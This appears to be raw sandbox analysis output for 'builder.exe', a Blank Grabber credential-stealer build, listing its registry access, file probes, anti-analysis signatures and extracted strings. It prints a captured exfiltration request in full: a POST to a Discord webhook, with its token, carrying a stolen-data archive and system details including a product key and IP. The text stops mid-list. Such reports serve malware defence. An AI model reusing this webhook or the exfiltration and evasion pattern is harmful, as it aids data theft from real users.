[%TEMP%\‎    ‏ \Directories\Music.txt]- [targetUID: 00000000-00007276] "Antivirus.txt" has type "ASCII text with no line terminators"- Location: [%TEMP%\‎    ‏ \System\Antivirus.txt]- [targetUID: 00000000-00007276]50:T41a,"Gkh31DwGKQ.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 file counter 4 database pages 50 cookie 0x2a schema 4 UTF-8 version-valid-for 4" "2qVI9MCzBA.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 file counter 2 database pages 40 cookie 0x21 schema 4 UTF-8 version-valid-for 2" "HvWGi75FaL.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 1 database pages 25 cookie 0xe schema 4 UTF-8 version-valid-for 1" "NXd6w9S7pJ.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 1 database pages 20 cookie 0xb schema 4 UTF-8 version-valid-for 1" "Cm4g5ansE9.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 file counter 12 database pages 8 cookie 0x5 schema 4 UTF-8 version-valid-for 12" "aX9sadDBAX.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 file counter 7 database pages 5 cookie 0x3 schema 4 UTF-8 version-valid-for 7"51:T664,"builder.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "builder.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "builder.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "builder.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "builder.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "builder.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "builder.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "builder.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE\ASSEMBLYSTORAGEROOTS"; Key: ""; Value: "") "builder.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "builder.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: ""; Value: "") "builder.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: ""; Value: "") "builder.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\POLICIES\MICROSOFT\CRYPTOGRAPHY\CONFIGURATION"; Key: ""; Value: "") "builder.exe" (Access type: "OPEN"; Path: "HKLM"; Key: ""; Value: "") "builder.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: ""; Value: "")52:Ta6b,"builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "BUILDER"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: "MAXRPCSIZE"; Value: "") "builder.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME"; Value: "")53:T49c,The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string) Matched sigs: Able to identify virtual environment by using user activity (API string) Matched sigs: Reference to an external IP address lookup service identified Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string) Matched sigs: Able to identify virtual environment by using API string Matched sigs: Queries process mitigation policy via NtQueryInformationProcess Matched sigs: Triggers a burst of requests to the same API (API Hammering) Matched sigs: Observed a high volume of repeated registry API calls (API Hammering) Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques Matched sigs: Calls an API typically used to find device information Matched sigs: Attempts to identify external IP address Matched sigs: Contains ability to delay the execution of current thread Matched sigs: Contains ability to detect virtual environment (API)54:T545,"builder.exe" trying to access non-existent file "C:\FLTLIB.DLL" "builder.exe" trying to access non-existent file "C:\MSVCP140.DLL" "builder.exe" trying to access non-existent file "C:\MSVCP140.dll" "builder.exe" trying to access non-existent file "C:\VCRUNTIME140.DLL" "builder.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "builder.exe" trying to access non-existent file "C:\VCRUNTIME140_1.DLL" "builder.exe" trying to access non-existent file "C:\VCRUNTIME140_1.dll" "builder.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\VCRUNTIME140.DLL" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\LIBCRYPTO-1_1.DLL" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\LIBFFI-7.DLL" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\LIBSSL-1_1.DLL" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\PYTHON310.DLL" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\RAR.EXE" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\SQLITE3.DLL"55:T92f,"builder.exe" trying to access non-existent file "C:\BUILDER.EXE.LOCAL" "builder.exe" trying to access non-existent file "C:\builder.exe.Local\" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\_BZ2.PYD" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\_CTYPES.PYD" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\_DECIMAL.PYD" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\_HASHLIB.PYD" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\_LZMA.PYD" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\_QUEUE.PYD" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\_SOCKET.PYD" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\_SQLITE3.PYD" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\_SSL.PYD" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\SELECT.PYD" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\TINYAES.CP310-WIN_AMD64.PYD" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\UNICODEDATA.PYD" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\CAMERA" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\BASE_LIBRARY.ZIP" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\RARREG.KEY" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\PYTHON310._PTH" "builder.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\python310._pth" "builder.exe" trying to access non-existent file "C:\BUILDER._PTH" "builder.exe" trying to access non-existent file "C:\builder._pth" "builder.exe" trying to access non-existent file "C:\PYVENV.CFG"56:T460,Found reference to API "NetUserModalsGet" (Indicator: "NetUserModalsGet"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "NetUserModalsSet" (Indicator: "NetUserModalsSet"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "NetGroupGetInfo" (Indicator: "NetGroupGetInfo"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "NetGroupSetInfo" (Indicator: "NetGroupSetInfo"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "NetUserSetInfo" (Indicator: "NetUserSetInfo"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "NetUserGetGroups" (Indicator: "NetUserGetGroups"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "NetUserEnum" (Indicator: "NetUserEnum"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "NetUserGetInfo" (Indicator: "NetUserGetInfo"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp")57:T2444,Found string "POST /api/webhooks/1120633710593708134/ZoZyZIHuvI2eAk4qtG_q_8YZdAu6uqYOfGqQ_7lMVvTGN8946jxob5LBev743bLvUwN7 HTTP/1.1Host: discord.comAccept-Encoding: identityContent-Length: 8159User-Agent: python-urllib3/2.0.3Content-Type: multipart/form-data; boundary=99bc9948df5de1d58dd49f4619d3df09--99bc9948df5de1d58dd49f4619d3df09Content-Disposition: form-data; name="file"; filename="Blank-HAPUBWS.rar"Content-Type: application/octet-streamRar!Å¾æÌ!¡ë[sÍØØIÓÑSgR±|ÞBá¹\$C¯¤_3K¯r-ÉùLÈÁ}hP4ïÓnã£ââÌÿÈ£yüªG°là¾bÄ%Þfe}Éõ³¯·àé³RS?×ºÎ¯×t;jgï5F¥÷UÚ0v<õºå1rN¯èu4Å³Ù?úv#3f¿|z½|Å7yóóÎ]ym.OdMãäÈ âÛ6PvHpÿ.ÌÞÐ(kUÔ~òJæ1£We×,òÖæ¬zDq8j¡xx9Â¬T ¶s%@öiL[Y¶Hó¢ÇGµ«y¬Fñc|^¢¡AØ86¹Ë/îû¼%ÿ§¯íCå9úá_6ãDPHÛ*}%*¦]j¯Ð¦o[ú&ð±2õZê%"1f0·9kv*{¥´sñC°öÛjsÑ@37ÜBãëa¶ÈðöI9ûëÜ_y¥ä>esã+@Ü«Â@®ÌUxz´FþÛu6=6ZÐ+ÎfX?µ{½!%Eü¬Ä?ºÌñ3í*óJ+}ÞïQìIÐW?ÐÈfTÅ#ìUÂÅ]8Ê^Q&å®¡ýÄ}S¬7Òö»»KGàcÈI=ðfqWÐãRçx®ÍðÑ^SÎ·{ØõßD&Rê;ÛXîñ½ãÊN×BßiBÄ[ëÍáÒÛqà±>ò;!ÿ=ÎQã1~_É\r¥È!÷£í(öRR9´uËú¾!õzÊY0P `dlø·ç-Û$|#ÀÃS.TîÆ]çDÎÍWï·N&kùGSÆjýl@Õ2\ýÆ)eá?(4½c^Éµ5S²Gë9³?ÔÛråb¢{Ï)dâ\9d×ë1²k]n¹§ãt.iDgæmLûfY£gË ;ºÀ¼eÈ¾0ÌÆC®gØyDYò©IÎÅÃØ@h1%ÛÿAãWÏë§ê¢L~éå©°÷FY;£Eú%¢eñçôa.N¸ $zúÅçväYÛ<¢.éÉk%o*çgLð i6JàÄÑH/Ì'³å\]:ýú "Â¢¼$$®ùÙô_æÈÉéî?²ÄdCÕ}¸rÁ{'9°0ÝNø×D.à7÷x)5;'c}w¼ )FêåµSÑäÎXêeVaz§ ÿfÇR0G¾J$Âõòwl2¾Vï×<Ü`Þd~f½PÆ=¬ÿòe³s¥S®¥°ÿ pòCÛe M8Àycùþþï0ðA4;pnN±PÞÇðæµPöh32]Ú$ëC'6æsGlÉO¤/Ô:h¤£°Jx\üú²'Îðx¾5!h7¿Ã\Ô*[Ü§ýºdã×kK_u;m)Ç{'mË¼gqTg8|¹CÄÞù7juò6fâúò8cÈ§(!èÁ÷ËÚo^ÿ¯%Ê6|PÿíÕ»2¬ÀO^xC%|+\dëhoLLÍê×é[îÔ»ÀCå1{(£,U÷§Øt2(û³]Ó¡½êÕ,U{k/ûÀ¸mÑ2GrIÌâ\!9Ùì¼»¨ÓeYJjrªrþEg¯HóðZ}I©@eã²¸Zepµ¸~Ø7ïw76ßÕfnD]|ÔE\('²è.º=dB/Z?L^¿Sÿ06ùÅe¬Rj8J´ôÀïú É»"f³D¢n_ÉXÝè¾ðJÉù,ÛV½Ú¶¿5¼ôiXhð¼Ý³;Ñ]4öuÂ¦û/H@pü?h|$]¤!qCO$ôþyiÅ´á;þÃÿ<üDH±pìNÜ¶óÊ©Í¶®I´?1ß¡yÝ^{NÐ×þt¬~ÍËÉ»B_¾efØ/`OQdØãok©ÏPÁEøqeÃo@6`üO;vð§Ó©r9i4`$´©6 !g.ÙTÚÁû¤kºöö%b¨Ønð»õQMjÓ»iæ¿äÒt»xÙpj7;+ðÃÞßN7{ðg#åKôhO*WßßºæfçIsF«ÓQ°Äk7¾~%Dw¯I´YÝpþªïÑÆQæû|¨QhÊùdÛömó½lÑÑïMû&#}ÏÇ¾®Ó1½²ÈÛY¶§PÆ3¿âð5Ø¾Û ¡KM}>éÙ?YöâÆÿå{î*mÿ¾ãÖ>X ÙÙ¹ÿáÂ¯ÍÂµÆÃÜÉô2ÆèÄ»Aµõn;æÀõúJßMiqzòf^SÄ°?çFrÝ ¸æßUGßÒ$q_ÿÏEK¤÷;{ß±iK£p#{»Ò?,¦qû?¶¢G/ì©ø5n3·5KÖ*¶mä äóÕ´X,¹z?M±eÔ=,Ý\SÍûÐ²<¾¾ËTKwtËO.Æy¹?Wþ>0b=ÜgÍ$aÿ×)À¸DÆ$ÅÊZ+M1Ö°1hëï]È:¨2¯±êÍµ8÷Hó/¦H>§l¢N6½¯×cm;ä#VÖ«>:IR¤ëäî[Xª=¶þTÂïü´å þ÷}gXHvÀì2Ù»ÜÜÄ:ª©á@*béd4x´êQðÿ3WúO<~CJ»V~)®H4f2uÆâ1~:Ö3tÜ_íªwaîè:·÷Rår°tÆ¦ÀõüXÆNøÖÜ9nÕ'âUdÞOÑâ¯Q>CRmÒ¶Â>>Üì@ì´3VKT&A®ÚÍq´]µeN8Y¿}×üyÔ`Sõ0+mÙA]¡kR÷¬®Y§Å\Ù¶ú\ÝÆ©:baÄükq{^äÅñU'Çïcåu&e^'óGÝ,²já1ÖÂRþÿ§cK`NÖ_IóÎ³6tQ¡#öBÞ-ÿUááµ¬Dýï?à;¨kïê~w92ù÷.qÑÐñúüÒ9QFMÈÄxXü6$ðDHdyCpÁ,_ª®xm`s?¥¸hôq8òÌ.³Gð:¿^õV2¾ý´ÍÎYL777¨®"NÂKHÓKèWâç` N;Ê'n#XcÀ¢ËQ«7ÛòÅ²:§âEV¸H«cÎÛdÏ¯LßÓ´"tÊE¾7RöÎfÍ'Òº À¨¹¾È6aKÚ³AÌðÙÀL*ì9]tV]+OcÇþ-ºÅàOÐZ@¦ò8í*`ÿ¹vìÑ%ò¡°ß!µ¦î1-ÙF 3=ÇZ\RÅðÍßj°À-óº%®¢7ÊàYÞF®K(¸6<ûúãA·^!Ít64¬_ñi&Äë¤`B)>%.}vg$R:?=ýíYòbÊ8ü§Û°lmÿ»úsdèáyåIÙ2²±Ôâ@×F¼ÁqøC@ö¬>ÜªÇÛ·ûüçÖþüÏ§Ö;ÁÕëú-Zÿ0µçöL_^\D<¬²ûûæfQq¹|ÞÑpuó±È£¼îø^ÔR´³@3¤µÙ!³³²Øêk6~"°}¢;óp¶æÜ1ZkE!öíè»C¼íµ-kòFUBz¶-µú»üjzS>£çr«aù^ê$Á>®Úì¢í£×mßÎ¥dØÏÂJ%(ÓâµÉ1CÃ¢VËN¾ä4²ÖÈi¼©ÄtEäxùÕBÔW30ÚnUõBÉjH2;»j½Ü;ÿQêvm·%¾¶äÝÂÃIO¤MÛ/!À¶÷TÓÂÁòUDñÓ¾ëG÷4Îú=«üTEVnýõj?¥w«´ÉÛ|¯>sz$ÿb·âØ{¡´ÓgÓj[ÖCë¡î9ÐÍm'9Ú~ZdoäõU0Ý_à÷±[¿ÒfYÍdLöIºÖ;7%§ÙJgkêþ*ðÉÑZ@hH¿ÅÊ¡°-Xu¯'IGsñ«ë?7£Û]¸T&QÅîÔeC"Ù_»yÓÈàÊlö?Uû(nÛ?6yQh£ýruPü¨$ØEâj1£n?g=ÿeÁyÎG7ßv'Ä-µþaÞ-wúÚ´1¶Çl¼&¸ufûix\eÄW%IAyÇ¼µKÑÉÿÖÈ*õÔ÷îÿ47ßóôâ9d¥Ù²4?»½`B6å²)gQ¬KTÂª×ñêU¹Ì!?ÃËêBn¨VHñ'u:,¡Õ'h:9ÈÒO°ôÒæÙcnÝ³NýñÂ×ÿLgWH_Lã!ÀÁa|¸*G: ¬èäy§Òk§ÐNRø¿W _±hd Iauî`Y$ÖË-ëÞ·ôÜîW/¡rWVå´Uç»a/HkKupD¥*ä%_O^F/ü:æËKCÜÉ¢ü ö"E|úªNêíÙV{¡`æ²k\Ió¨ú¾Ã^¦D¤£`Å¥?4õ*ZDîÞþCÏªÇÈìÅZ·FÅ ª+ïÂ¥ÕK¼q¯ÏÑú"ÄìyZknªXþQO[VT+[uìÌðQî¶¿l&×,©[þ»ÞUò³a´BB5°ÎúÒÝR&ôy^Ç*÷ßÔ¡?aèúwí2Ñ¦=HøÄÁÁÇj^+Ð7ÞWÂqr3¢!ç>Nk]÷inÀ-zXeèo³bSyÉÏ!çDÝÖS\8µýgÅ¾¾´kwÆ¨KR¤ã))F¢ÞäwÍÞ²àîíÐX£Ò>Eäe&tèÿºûÏéèJÍ} Í°yP ñ/´ÛÁ0¨Èø{hp8Ëº$÷uÃømt MépÎd(´ü÷È%*~¹+Ýä_¿ñ\3û5/qZÔ/|olµa{>!,¸ÏòÆEWsúAVòPnî«cÁBAnèJuÓc`«ñ?GyQÒä¯§ÀÍ¢È¶Cp|¨;àcWÿåfß#ßê`XÔW)í¼RJ°YÎËÛÚµß$á¨ùÍÏhvZ0>VK÷N[þ`%õßã¬°½nhÝIVûês>îqî¥ÇqèRVÍÓ@C3kÎY.[üCCñ&De(7SäÐÕo¬s9feþÓb"âGìhf;îVHzü#B%îCÖd&ôëGMÜÎÞËã?+;L+2$ÇHª øA¯Êp(îJpï{ÚDÔ©jvE¿²«¾õá;çÑ¸µXüP¿nQ"µï áìIOiO0Ãñ"Ò¦&gôÓëÓA/)ìÊñ+hàz/¾FjøNÅÑ*ÈñÅ7ö \~8úk¥d§Ñw¦±Aiã1û4\ÓòÔ*s+j¦f`¿¸¯Ã¾ißðÛ7Í[Qâpð1.üP³Ó§^ Æü¡1ÖÒ-ÅÄðí$«pÐ×¸ß[{#ÉZ·ãêò4@hi¼ÈãÖÀL°äämgª ²VÏ)7`äI¢K@ÀxaH*¿,Ñ4ài²G#ë¸÷ålî2õÓîð¬Ò__L=íýöÍ 7£ó/Jì(gêpÐòçËâ(Û¸C&$Ä¨s´ðÏ¿¬\Qüi®çp>þîZyiYÐæÌl>Ë^fõaaT@Õçi³ÀíÆA_;!û¹²û^ÙdÀÍùôÍåÛv¿fJí$ý¼Á!:0°¢ªA¤¢yÙL¢òÌ`}ü¨;Ù²Yv¥êèRÜæxÊÔdMë¤ü3Z°oFÂ5/ 2þp8¹[,å¯e!µsDKS\ÝÔÍÈ9cúÝ¿²©7¯8rQ>8k-ý-£E¹¨âÙ/SÉý]v'zãÉ´læ^B;×@Z×$¢Z(èù,.Òâ¼Õÿ0ÿÅ jdëºµ?¸9àuvoò0"¸A=Skë0ª~!ÒopJø·jÍ#Ï·vAÛéè/í(zÏßz--99bc9948df5de1d58dd49f4619d3df09Content-Disposition: form-data; name="payload_json"{"content": "||@everyone||", "embeds": [{"title": "Blank Grabber", "description": "**__System Info__\n```autohotkey\nComputer Name: DESKTOP-FVVF82A\nComputer OS: Microsoft Windows 10 Pro\nTotal Memory: 8 GB\nUUID: 58DE1142-81AF-35BD-38F7-41CA914531E6\nCPU: Intel64 Family 6 Model 79 Stepping 0, GenuineIntel\nGPU: VMware SVGA 3D\nProduct Key: DHWP9-NWWKH-G72RJ-CQ49T-P7JXM```\n__IP Info__```prolog\n\nIP: 64.124.12.162\nRegion: California\nCountry: United States\nTimezone: America/Los_Angeles\n\nCellular Network: \u274e\nProxy/VPN: \u274e\nReverse DNS: 64.124.12.162.IDIA-144793-004-ZYO.zip.zayo.com```\n__Grabbed Info__```js\nDiscord Accounts : 0\nPasswords : 0\nCookies : 0\nHistory : 8\nRoblox Cookies : 0\nTelegram Sessions : 0\nWallets : 0\nWifi Passwords : 0\nMinecraft Sessions : 0\nEpic Sessions : 0\nSteam Sessions : 0\nScreenshot : False\nSystem Info : True\nWebcam : 0```**", "url": "https://github.com/Blank-c/Blank-Grabber", "color": 34303, "footer": {"text": "Grabbed by Blank Grabber | https://github.com/Blank-c/Blank-Grabber"}, "thumbnail": {"url": "https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png"}}], "username": "Blank Grabber", "avatar_url": "https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png"}--99bc9948df5de1d58dd49f4619d3df09--"; File: "PCAP")58:T6bd,Found reference to API "WSAGetLastError" (Indicator: "wsagetlasterror"; File: "builder.exe") Found reference to API "WSACleanup" (Indicator: "wsacleanup"; File: "builder.exe") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found reference to API "WS-Management could not connect to the specified destination: (%1:%2!d!)." (Indicator: " connect "; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found reference to API "The WinRM service cannot process the request because the WinRS shell instance is already processing a connect operation." (Indicator: " connect "; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found reference to API "The client cannot connect to the destination specified in the request." (Indicator: " connect "; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found reference to API "The WinRM client cannot process the request. The body response is not a valid connect request response." (Indicator: " connect "; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") file/memory contains long string with (Indicator: " connect "; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") file/memory contains long string with (Indicator: " shutdown "; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp")59:T447,"2.5.29.37" "2.5.29.35" "192.168.0.2" Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35" "0.0.0.00000" Potential IP "1.0.0.0" found in string "sion=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" "2.5.29.31" "2.5.29.15" "2.5.29.14" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.19" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.32" "2.5.29.17" "2.5.29.1" "2.5.4.3" "2.5.29.10" "2.5.29.16" "2.5.4.6" "2.5.4.8" "2.5.4.7" "2.5.4.10" "2.5.4.11" "2.5.4.5" "1.10.3.6" "192.168.0.1" "2.168.0.1" Potential IPs "2.0.0.1" "2.0.0.20" "24.0.0.1" "24.0.0.22" found in string "2.0.0.1-2.0.0.20, 24.0.0.1-24.0.0.22" Potential IP "127.0.0.1" found in string "The WinRM client cannot process the request. If you do not specify an authentication mechanism or you specify Kerberos, then you cannot use "localhost" or "127.0.0.1" or "[::1]" for the remote host name."5a:T2101,Heuristic match: "roblox.com" Heuristic match: "%s%c%s.py" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Heuristic match: ":j.kw" Heuristic match: "*s.uz" Pattern match: "www.microsoft.com/pkiops/crl/microsoft%20windows%20third%20party%20component%20ca%202013.crl0u0s0qehttp://www.microsoft.com/pkiops/certs/microsoft%20windows%20third%20party%20component%20ca%202013.crt07hd6u282]md3h\j.hace]498saok&ooq}k8v@" Pattern match: ".image.bmp/quietcom2ndcam" Pattern match: "http://ocsp.thawte.com080604.http://crl.thawte.com/thawtetimestampingca.crl0timestamp-2048-10y@b%symantec" Pattern match: "www.microsoft.com/edge/welcome?form=mt00ljwelcome" Pattern match: "www.google.com/goto?url=caeswwhrozavd7tkqp0j7z1pk11xdnd18ys6u3bleowab_qsdd0nkkvp3all2mqmnrugctlfwxoa3wlkwbsgs5dcda_-dotvt2jk03y3hpmujkk0nbjdsdybhkua4h8downloadshttps://www.mitmproxy.org/downloads/#12.2.3/downloadshttps://www.mitmproxy.org/downloads/downloa" Pattern match: "www.microsoft.commicrosoftapplicationstelemetrydeviceid/.clarity.msmuid/.bing.commuid/.microsoft.commscc/.microsoft.comms0/.c.clarity.msmr/.bat.bing.commr/.microsoft.commc1/www.clarity.msclid/.c.clarity.msanonchk/69+.scorecardresearch.comhttps://msn.comxid" Pattern match: "www.google.comdvv20}w888hn]~o:y?x.google.comaecv20.google.comsearch_samesitev20#.google.com__secure-strpv20qdsqz{zq/.google.comsearch_samesite/.google.comnid/www.google.comdv/.google.comaec/.google.com__secure-strp/" Pattern match: "https://www.mitmproxy.org/downloads/#12.2.3/title" Pattern match: "https://go.microsoft.com/fwlink/?linkid=2132465&form=mt004a&ocid=mt004atitle" Pattern match: "www.instagram.com/justinbieber" Heuristic match: "gstatic.com" Heuristic match: "ip-api.com" Heuristic match: "discord.com" Pattern match: "https://github.com/blank-c/blank-grabber" Heuristic match: "%windir%\system32\tree.com" Pattern match: "http://www.gnu.org/licenses/gpl.txt" Pattern match: "http://batchloaf.wordpress.com/commandcam" Heuristic match: ".wsh;.ms" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "em.ma" Heuristic match: 